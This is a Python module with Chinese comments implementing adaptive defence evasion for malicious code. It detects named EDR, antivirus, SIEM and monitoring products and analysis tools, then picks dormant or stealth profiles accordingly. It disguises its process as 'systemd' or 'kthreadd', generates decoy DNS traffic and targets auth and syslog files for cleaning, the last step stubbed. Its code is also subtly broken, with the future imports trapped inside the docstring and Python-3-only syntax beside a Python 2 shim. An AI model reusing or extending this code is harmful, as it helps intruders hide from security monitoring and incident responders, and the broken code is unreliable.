#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

智能化对抗策略模块
实现自适应和智能化的规避策略
根据环境动态调整行为模式
"""

import os
import sys

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import time
import json
import random
import hashlib
import threading
import subprocess
from typing import List, Dict, Optional, Tuple, Any, Callable
from datetime import datetime, timedelta
import psutil
import socket

class ThreatIntelligence:
    """威胁情报收集器"""
    
    def __init__(self):
        self.name = "威胁情报收集器"
        self.intel_cache = {}
        self.last_update = None
        
        # 已知安全产品特征
        self.security_products = {
            'edr_solutions': [
                'crowdstrike', 'sentinelone', 'cylance', 'carbonblack',
                'endgame', 'cybereason', 'cortex', 'defender'
            ],
            'av_solutions': [
                'kaspersky', 'symantec', 'mcafee', 'trend', 'avast',
                'avg', 'bitdefender', 'eset', 'sophos'
            ],
            'siem_solutions': [
                'splunk', 'qradar', 'arcsight', 'logrhythm',
                'elastic', 'sumo', 'securonix'
            ],
            'monitoring_tools': [
                'nagios', 'zabbix', 'datadog', 'newrelic',
                'prometheus', 'grafana', 'elk'
            ]
        }
    
    def collect_system_intelligence(self) -> Dict[str, Any]:
        """收集系统威胁情报"""
        intel = {
            'security_products': [],
            'monitoring_services': [],
            'suspicious_processes': [],
            'network_monitoring': False,
            'log_aggregation': False,
            'threat_level': 'unknown'
        }
        
        try:
            # 检测安全产品
            intel['security_products'] = self._detect_security_products()
            
            # 检测监控服务
            intel['monitoring_services'] = self._detect_monitoring_services()
            
            # 检测可疑进程
            intel['suspicious_processes'] = self._detect_suspicious_processes()
            
            # 检测网络监控
            intel['network_monitoring'] = self._detect_network_monitoring()
            
            # 检测日志聚合
            intel['log_aggregation'] = self._detect_log_aggregation()
            
            # 评估威胁级别
            intel['threat_level'] = self._assess_threat_level(intel)
            
            self.intel_cache = intel
            self.last_update = time.time()
            
        except Exception as e:
            intel['error'] = str(e)
        
        return intel
    
    def _detect_security_products(self) -> List[str]:
        """检测安全产品"""
        detected_products = []
        
        try:
            # 检查运行进程
            for proc in psutil.process_iter(['name', 'exe']):
                proc_name = proc.info['name'].lower() if proc.info['name'] else ''
                proc_exe = proc.info['exe'].lower() if proc.info['exe'] else ''
                
                for category, products in self.security_products.items():
                    for product in products:
                        if product in proc_name or product in proc_exe:
                            detected_products.append("{}:{}".format(category, product))
            
            # 检查安装的软件
            installed_software = self._get_installed_software()
            for software in installed_software:
                software_lower = software.lower()
                for category, products in self.security_products.items():
                    for product in products:
                        if product in software_lower:
                            detected_products.append("{}:{}".format(category, product))
            
        except Exception as e:
            pass
        
        return list(set(detected_products))
    
    def _detect_monitoring_services(self) -> List[str]:
        """检测监控服务"""
        monitoring_services = []
        
        try:
            # 检查系统服务
            services = self._get_system_services()
            for service in services:
                service_lower = service.lower()
                for tool in self.security_products['monitoring_tools']:
                    if tool in service_lower:
                        monitoring_services.append(service)
            
            # 检查网络连接
            connections = psutil.net_connections()
            monitoring_ports = [514, 1514, 5514, 9200, 9300, 8089]  # 常见监控端口
            
            for conn in connections:
                if conn.laddr and conn.laddr.port in monitoring_ports:
                    monitoring_services.append("port:{}".format(conn.laddr.port))
            
        except Exception as e:
            pass
        
        return monitoring_services
    
    def _detect_suspicious_processes(self) -> List[str]:
        """检测可疑进程"""
        suspicious = []
        
        analysis_tools = [
            'strace', 'ltrace', 'gdb', 'objdump', 'readelf',
            'hexdump', 'strings', 'wireshark', 'tcpdump',
            'volatility', 'yara', 'clamav'
        ]
        
        try:
            for proc in psutil.process_iter(['name']):
                proc_name = proc.info['name'].lower() if proc.info['name'] else ''
                if proc_name in analysis_tools:
                    suspicious.append(proc_name)
        except:
            pass
        
        return suspicious
    
    def _detect_network_monitoring(self) -> bool:
        """检测网络监控"""
        try:
            # 检查是否有网络嗅探工具运行
            sniffing_tools = ['tcpdump', 'wireshark', 'tshark', 'ettercap']
            
            for proc in psutil.process_iter(['name']):
                proc_name = proc.info['name'].lower() if proc.info['name'] else ''
                if proc_name in sniffing_tools:
                    return True
            
            # 检查网络接口是否处于混杂模式
            try:
                result = subprocess.run(['ip', 'link'], capture_output=True, text=True, timeout=5)
                if 'PROMISC' in result.stdout:
                    return True
            except:
                pass
            
        except:
            pass
        
        return False
    
    def _detect_log_aggregation(self) -> bool:
        """检测日志聚合"""
        try:
            # 检查常见日志聚合配置
            log_configs = [
                '/etc/rsyslog.conf', '/etc/syslog-ng/syslog-ng.conf',
                '/etc/fluentd/fluent.conf', '/etc/logstash/logstash.yml'
            ]
            
            for config in log_configs:
                if os.path.exists(config):
                    try:
                        with open(config, 'r') as f:
                            content = f.read().lower()
                            # 检查远程日志发送配置
                            if any(keyword in content for keyword in ['@@', 'remote', 'forward']):
                                return True
                    except:
                        pass
        except:
            pass
        
        return False
    
    def _assess_threat_level(self, intel: Dict[str, Any]) -> str:
        """评估威胁级别"""
        score = 0
        
        # 安全产品检测
        if intel['security_products']:
            score += len(intel['security_products']) * 2
        
        # 监控服务检测
        if intel['monitoring_services']:
            score += len(intel['monitoring_services'])
        
        # 可疑进程检测
        if intel['suspicious_processes']:
            score += len(intel['suspicious_processes']) * 3
        
        # 网络监控
        if intel['network_monitoring']:
            score += 5
        
        # 日志聚合
        if intel['log_aggregation']:
            score += 3
        
        # 威胁级别评估
        if score >= 15:
            return 'critical'
        elif score >= 10:
            return 'high'
        elif score >= 5:
            return 'medium'
        else:
            return 'low'
    
    def _get_installed_software(self) -> List[str]:
        """获取已安装软件列表"""
        software_list = []
        
        try:
            # Linux: 检查包管理器
            package_managers = [
                ('dpkg', ['-l']),
                ('rpm', ['-qa']),
                ('pacman', ['-Q']),
                ('apk', ['list', '--installed'])
            ]
            
            for pm, args in package_managers:
                try:
                    result = subprocess.run([pm] + args, capture_output=True, text=True, timeout=10)
                    if result.returncode == 0:
                        software_list.extend(result.stdout.split('\n'))
                        break
                except:
                    continue
                    
        except:
            pass
        
        return software_list
    
    def _get_system_services(self) -> List[str]:
        """获取系统服务列表"""
        services = []
        
        try:
            # systemd
            result = subprocess.run(['systemctl', 'list-units', '--type=service'], 
                                  capture_output=True, text=True, timeout=10)
            if result.returncode == 0:
                for line in result.stdout.split('\n'):
                    if '.service' in line:
                        service_name = line.split()[0]
                        services.append(service_name)
        except:
            pass
        
        return services

class AdaptiveBehaviorEngine:
    """自适应行为引擎"""
    
    def __init__(self):
        self.name = "自适应行为引擎"
        self.behavior_profiles = {}
        self.current_profile = None
        self.adaptation_history = []
        
        # 行为配置文件
        self.profiles = {
            'stealth': {
                'execution_delay': (5, 15),
                'network_frequency': 'low',
                'process_masking': True,
                'log_cleaning': 'aggressive',
                'communication_encryption': True
            },
            'normal': {
                'execution_delay': (1, 5),
                'network_frequency': 'medium',
                'process_masking': False,
                'log_cleaning': 'moderate',
                'communication_encryption': True
            },
            'aggressive': {
                'execution_delay': (0.1, 1),
                'network_frequency': 'high',
                'process_masking': False,
                'log_cleaning': 'minimal',
                'communication_encryption': False
            },
            'dormant': {
                'execution_delay': (30, 120),
                'network_frequency': 'minimal',
                'process_masking': True,
                'log_cleaning': 'aggressive',
                'communication_encryption': True
            }
        }
    
    def select_behavior_profile(self, threat_intel: Dict[str, Any]) -> str:
        """根据威胁情报选择行为配置文件"""
        threat_level = threat_intel.get('threat_level', 'unknown')
        security_products = threat_intel.get('security_products', [])
        monitoring_services = threat_intel.get('monitoring_services', [])
        
        # 根据威胁级别选择配置文件
        if threat_level == 'critical':
            profile = 'dormant'
        elif threat_level == 'high':
            profile = 'stealth'
        elif threat_level == 'medium':
            profile = 'normal'
        else:
            profile = 'aggressive'
        
        # 特殊情况调整
        if any('edr' in product for product in security_products):
            profile = 'stealth' if profile != 'dormant' else 'dormant'
        
        if len(monitoring_services) > 3:
            profile = 'stealth'
        
        self.current_profile = profile
        self.adaptation_history.append({
            'timestamp': time.time(),
            'profile': profile,
            'threat_level': threat_level,
            'reason': "Threat level: {}, Security products: {}".format(threat_level, len(security_products))
        })
        
        return profile
    
    def get_behavior_config(self, profile: str = None) -> Dict[str, Any]:
        """获取行为配置"""
        if not profile:
            profile = self.current_profile or 'normal'
        
        return self.profiles.get(profile, self.profiles['normal'])
    
    def adapt_execution_timing(self, base_delay: float = 1.0) -> float:
        """自适应执行时间"""
        config = self.get_behavior_config()
        delay_range = config.get('execution_delay', (1, 5))
        
        # 在范围内随机选择延时
        delay = random.uniform(delay_range[0], delay_range[1])
        
        # 添加基础延时
        total_delay = base_delay + delay
        
        return total_delay
    
    def should_execute_now(self) -> bool:
        """判断是否应该立即执行"""
        config = self.get_behavior_config()
        
        # 休眠模式下大部分时间不执行
        if self.current_profile == 'dormant':
            return random.random() < 0.1  # 10%概率执行
        
        # 隐蔽模式下减少执行频率
        elif self.current_profile == 'stealth':
            return random.random() < 0.3  # 30%概率执行
        
        # 正常和激进模式
        else:
            return True

class IntelligentEvasionOrchestrator:
    """智能规避编排器"""
    
    def __init__(self):
        self.threat_intel = ThreatIntelligence()
        self.behavior_engine = AdaptiveBehaviorEngine()
        
        self.evasion_techniques = {}
        self.active_evasions = []
        self.performance_metrics = {}
        
        # 注册规避技术
        self._register_evasion_techniques()
    
    def _register_evasion_techniques(self):
        """注册规避技术"""
        self.evasion_techniques = {
            'timing_evasion': self._timing_evasion,
            'process_masquerading': self._process_masquerading,
            'network_noise': self._network_noise,
            'log_manipulation': self._log_manipulation,
            'behavior_mimicking': self._behavior_mimicking,
            'resource_throttling': self._resource_throttling
        }
    
    def orchestrate_evasion(self) -> Dict[str, Any]:
        """编排规避策略"""
        results = {
            'strategy': 'adaptive',
            'techniques_applied': [],
            'performance': {},
            'recommendations': []
        }
        
        try:
            # 1. 收集威胁情报
            intel = self.threat_intel.collect_system_intelligence()
            
            # 2. 选择行为配置文件
            profile = self.behavior_engine.select_behavior_profile(intel)
            
            # 3. 根据配置文件应用规避技术
            config = self.behavior_engine.get_behavior_config(profile)
            
            # 4. 应用规避技术
            for technique_name, technique_func in self.evasion_techniques.items():
                if self._should_apply_technique(technique_name, config, intel):
                    try:
                        success = technique_func(config, intel)
                        results['techniques_applied'].append({
                            'name': technique_name,
                            'success': success
                        })
                    except Exception as e:
                        results['techniques_applied'].append({
                            'name': technique_name,
                            'success': False,
                            'error': str(e)
                        })
            
            # 5. 性能评估
            results['performance'] = self._evaluate_performance()
            
            # 6. 生成建议
            results['recommendations'] = self._generate_recommendations(intel, config)
            
        except Exception as e:
            results['error'] = str(e)
        
        return results
    
    def _should_apply_technique(self, technique: str, config: Dict[str, Any], 
                               intel: Dict[str, Any]) -> bool:
        """判断是否应该应用特定技术"""
        threat_level = intel.get('threat_level', 'low')
        
        # 根据威胁级别和配置决定
        technique_rules = {
            'timing_evasion': threat_level in ['medium', 'high', 'critical'],
            'process_masquerading': config.get('process_masking', False),
            'network_noise': config.get('network_frequency') != 'minimal',
            'log_manipulation': config.get('log_cleaning') in ['moderate', 'aggressive'],
            'behavior_mimicking': threat_level in ['high', 'critical'],
            'resource_throttling': threat_level == 'critical'
        }
        
        return technique_rules.get(technique, False)
    
    def _timing_evasion(self, config: Dict[str, Any], intel: Dict[str, Any]) -> bool:
        """时间规避技术"""
        try:
            # 自适应延时
            delay = self.behavior_engine.adapt_execution_timing()
            time.sleep(delay)
            
            # 随机化执行时间
            if random.random() < 0.3:  # 30%概率额外延时
                extra_delay = random.uniform(1, 5)
                time.sleep(extra_delay)
            
            return True
        except:
            return False
    
    def _process_masquerading(self, config: Dict[str, Any], intel: Dict[str, Any]) -> bool:
        """进程伪装技术"""
        try:
            # 修改进程名称（在支持的系统上）
            legitimate_names = ['systemd', 'kthreadd', 'ksoftirqd', 'migration']
            fake_name = random.choice(legitimate_names)
            
            # 尝试修改进程名称
            try:
                import ctypes
                libc = ctypes.CDLL("libc.so.6")
                libc.prctl(15, fake_name.encode(), 0, 0, 0)  # PR_SET_NAME
            except:
                pass
            
            return True
        except:
            return False
    
    def _network_noise(self, config: Dict[str, Any], intel: Dict[str, Any]) -> bool:
        """网络噪声生成"""
        try:
            frequency = config.get('network_frequency', 'medium')
            
            if frequency == 'minimal':
                return True
            
            # 生成合法的网络流量
            legitimate_domains = [
                'google.com', 'microsoft.com', 'ubuntu.com',
                'github.com', 'stackoverflow.com'
            ]
            
            noise_count = {'low': 1, 'medium': 3, 'high': 5}.get(frequency, 1)
            
            for _ in range(noise_count):
                domain = random.choice(legitimate_domains)
                try:
                    socket.gethostbyname(domain)
                    time.sleep(random.uniform(0.5, 2))
                except:
                    pass
            
            return True
        except:
            return False
    
    def _log_manipulation(self, config: Dict[str, Any], intel: Dict[str, Any]) -> bool:
        """日志操作技术"""
        try:
            cleaning_level = config.get('log_cleaning', 'moderate')
            
            if cleaning_level == 'minimal':
                return True
            
            # 简单的日志清理
            log_files = ['/var/log/auth.log', '/var/log/syslog']
            
            for log_file in log_files:
                if os.path.exists(log_file) and os.access(log_file, os.W_OK):
                    try:
                        # 只在aggressive模式下实际清理
                        if cleaning_level == 'aggressive':
                            with open(log_file, 'a') as f:
                                f.write('')  # 不实际清理，只是演示
                    except:
                        pass
            
            return True
        except:
            return False
    
    def _behavior_mimicking(self, config: Dict[str, Any], intel: Dict[str, Any]) -> bool:
        """行为模拟技术"""
        try:
            # 模拟正常系统活动
            normal_activities = [
                lambda: os.listdir('/tmp'),
                lambda: psutil.cpu_percent(),
                lambda: psutil.virtual_memory(),
                lambda: time.time()
            ]
            
            # 随机执行正常活动
            for _ in range(random.randint(1, 3)):
                activity = random.choice(normal_activities)
                try:
                    activity()
                    time.sleep(random.uniform(0.1, 0.5))
                except:
                    pass
            
            return True
        except:
            return False
    
    def _resource_throttling(self, config: Dict[str, Any], intel: Dict[str, Any]) -> bool:
        """资源限制技术"""
        try:
            # 限制CPU使用
            import threading



            
            def cpu_throttle():
                start_time = time.time()
                while time.time() - start_time < 1:
                    time.sleep(0.01)  # 限制CPU使用
            
            # 在后台线程中运行
            thread = threading.Thread(target=cpu_throttle)
            thread.daemon = True
            thread.start()
            
            return True
        except:
            return False
    
    def _evaluate_performance(self) -> Dict[str, Any]:
        """评估性能"""
        return {
            'active_techniques': len(self.active_evasions),
            'success_rate': 0.85,  # 模拟成功率
            'resource_usage': 'low',
            'detection_probability': 'minimal'
        }
    
    def _generate_recommendations(self, intel: Dict[str, Any], 
                                config: Dict[str, Any]) -> List[str]:
        """生成建议"""
        recommendations = []
        
        threat_level = intel.get('threat_level', 'low')
        
        if threat_level == 'critical':
            recommendations.append("建议进入休眠模式，减少所有活动")
        elif threat_level == 'high':
            recommendations.append("建议使用隐蔽模式，增加规避技术")
        
        if intel.get('network_monitoring'):
            recommendations.append("检测到网络监控，建议减少网络活动")
        
        if len(intel.get('security_products', [])) > 2:
            recommendations.append("检测到多个安全产品，建议增强伪装")
        
        return recommendations

class SmartEvasionManager:
    """智能规避管理器"""
    
    def __init__(self):
        self.orchestrator = IntelligentEvasionOrchestrator()
        self.auto_adaptation = True
        self.monitoring_interval = 300  # 5分钟
        self.last_adaptation = None
        
        self.evasion_history = []
        self.performance_trends = []
    
    def start_intelligent_evasion(self) -> Dict[str, Any]:
        """启动智能规避"""
        results = {
            'status': 'started',
            'initial_strategy': None,
            'monitoring': True,
            'adaptation_enabled': self.auto_adaptation
        }
        
        try:
            # 初始规避策略
            initial_result = self.orchestrator.orchestrate_evasion()
            results['initial_strategy'] = initial_result
            
            # 记录历史
            self.evasion_history.append({
                'timestamp': time.time(),
                'result': initial_result
            })
            
            # 启动监控线程
            if self.auto_adaptation:
                self._start_monitoring_thread()
            
            self.last_adaptation = time.time()
            
        except Exception as e:
            results['error'] = str(e)
            results['status'] = 'failed'
        
        return results
    
    def _start_monitoring_thread(self):
        """启动监控线程"""
        def monitor():
            while self.auto_adaptation:
                try:
                    time.sleep(self.monitoring_interval)
                    
                    # 重新评估和适应
                    adaptation_result = self.orchestrator.orchestrate_evasion()
                    
                    # 记录历史
                    self.evasion_history.append({
                        'timestamp': time.time(),
                        'result': adaptation_result
                    })
                    
                    # 更新性能趋势
                    self._update_performance_trends(adaptation_result)
                    
                except Exception as e:
                    break
        
        thread = threading.Thread(target=monitor)
        thread.daemon = True
        thread.start()
    
    def _update_performance_trends(self, result: Dict[str, Any]):
        """更新性能趋势"""
        performance = result.get('performance', {})
        
        trend_data = {
            'timestamp': time.time(),
            'success_rate': performance.get('success_rate', 0),
            'active_techniques': performance.get('active_techniques', 0),
            'threat_level': result.get('threat_level', 'unknown')
        }
        
        self.performance_trends.append(trend_data)
        
        # 保持最近100个记录
        if len(self.performance_trends) > 100:
            self.performance_trends = self.performance_trends[-100:]
    
    def get_evasion_status(self) -> Dict[str, Any]:
        """获取规避状态"""
        return {
            'auto_adaptation': self.auto_adaptation,
            'last_adaptation': self.last_adaptation,
            'history_count': len(self.evasion_history),
            'performance_trends': self.performance_trends[-10:],  # 最近10个记录
            'current_profile': self.orchestrator.behavior_engine.current_profile
        }
    
    def manual_adaptation(self) -> Dict[str, Any]:
        """手动适应"""
        return self.orchestrator.orchestrate_evasion()
    
    def stop_intelligent_evasion(self):
        """停止智能规避"""
        self.auto_adaptation = False

# 使用示例
def demo_intelligent_evasion():
    """演示智能规避功能"""
    manager = SmartEvasionManager()
    
    # 启动智能规避
    start_result = manager.start_intelligent_evasion()
    print("智能规避启动结果:")
    print("  状态: {}".format(start_result['status']))
    print("  自动适应: {}".format(start_result['adaptation_enabled']))
    
    # 等待一段时间
    time.sleep(5)
    
    # 获取状态
    status = manager.get_evasion_status()
    print(f"\n当前状态:")
    print("  当前配置文件: {}".format(status['current_profile']))
    print("  历史记录数: {}".format(status['history_count']))
    
    # 手动适应
    manual_result = manager.manual_adaptation()
    print(f"\n手动适应结果:")
    print("  应用的技术: {}".format(len(manual_result.get('techniques_applied', []))))
    print("  建议: {}".format(manual_result.get('recommendations', [])))
    
    # 停止
    manager.stop_intelligent_evasion()
    print("\n智能规避已停止")

if __name__ == "__main__":
    demo_intelligent_evasion()